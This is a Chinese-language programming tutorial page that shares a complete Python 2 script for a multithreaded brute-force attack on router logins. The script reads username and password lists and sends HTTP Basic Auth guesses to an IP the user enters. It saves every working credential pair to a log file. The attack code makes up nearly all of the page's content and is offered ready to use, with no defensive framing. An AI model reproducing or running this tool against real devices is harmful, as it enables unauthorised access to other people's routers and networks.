• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >python > python实现多线程暴力破解登陆路由器功能代码分享

python实现多线程暴力破解登陆路由器功能代码分享

作者:junjie 字体:[增加 减小] 来源:互联网

junjie 通过本文主要向大家介绍了python 线程,python 线程池,python 线程锁,python 多线程,python多线程编程等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....
#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):

  def __init__(self,queue,passwd):

    threading.Thread.__init__(self)
    self.queue=queue
    self.passwordlist=passwd
  def run(self):
    self.user=queue.get()
    for self.passwd in self.passwordlist:
      request = urllib2.Request("http://"+target)
      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
      request.add_header('Authorization', psw_base64)
      try:
        
        response = urllib2.urlopen(request)
        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
        fp3 = open('log.txt','a')
        fp3.write(self.user+'||'+self.passwd+'\r\n')
        fp3.close()
      except urllib2.HTTPError:
        print "[-]password:%s Error!" % (self.passwd)

 

if __name__ == '__main__':
  print '''
    #######################################################
    #                                                     #
    #                Routing brute force tool             #
    #                                                     #
    #                 by:well                             #
    #                                                    #
    #######################################################
'''
  passwordlist = []
  line = 20
  threads = []
  global target
  target = raw_input("input ip:")
  fp =open("user.txt")
  fp2=open("passwd.txt")
  for user in fp.readlines():
    queue.put(user.split('\n')[0])
  for passwd in fp2.readlines():
    passwordlist.append(passwd.split('\n')[0])
    #print passwordlist
      
  fp.close()
  fp2.close()
  for i in range(line):
    a = Rout_thread(queue,passwordlist)
    a.start()
    threads.append(a)
  for j in threads:
    j.join()
</div>

</div>

您可能想查找下面的文章:

  • Python 多线程实例详解
  • Python 多线程实例详解
  • 不要用强制方法杀掉python线程
  • Python实现的多线程http压力测试代码
  • Python线程指南详细介绍
  • Python线程指南详细介绍
  • python 线程的暂停, 恢复, 退出详解及实例
  • 深入理解 Python 中的多线程 新手必看
  • 举例讲解Python编程中对线程锁的使用
  • Python实现简单多线程任务队列

相关文章

  • 用Python的线程来解决生产者消费问题的示例
  • Python爬取京东的商品分类与链接
  • Python二分法搜索算法实例分析
  • pyv8学习python和javascript变量进行交互
  • Python内置函数bin() oct()等实现进制转换
  • Python爬虫:通过关键字爬取百度图片
  • Python网络爬虫出现乱码问题的解决方法
  • Django接受前端数据的几种方法总结
  • 如何准确判断请求是搜索引擎爬虫(蜘蛛)发出的请求
  • Python 字典dict使用介绍

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • python里对list中的整数求平均并排序
    • python将人民币转换大写的脚本代码
    • python3中bytes和string之间的互相转换
    • 浅谈tensorflow中Dataset图片的批量读取及维度的操作详解
    • Python实现比较两个文件夹中代码变化的方法
    • Django查找网站项目根目录和对正则表达式的支持
    • Python实现子类调用父类的方法
    • python实现超简单端口转发的方法
    • 将Django框架和遗留的Web应用集成的方法
    • python getopt详解及简单实例

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有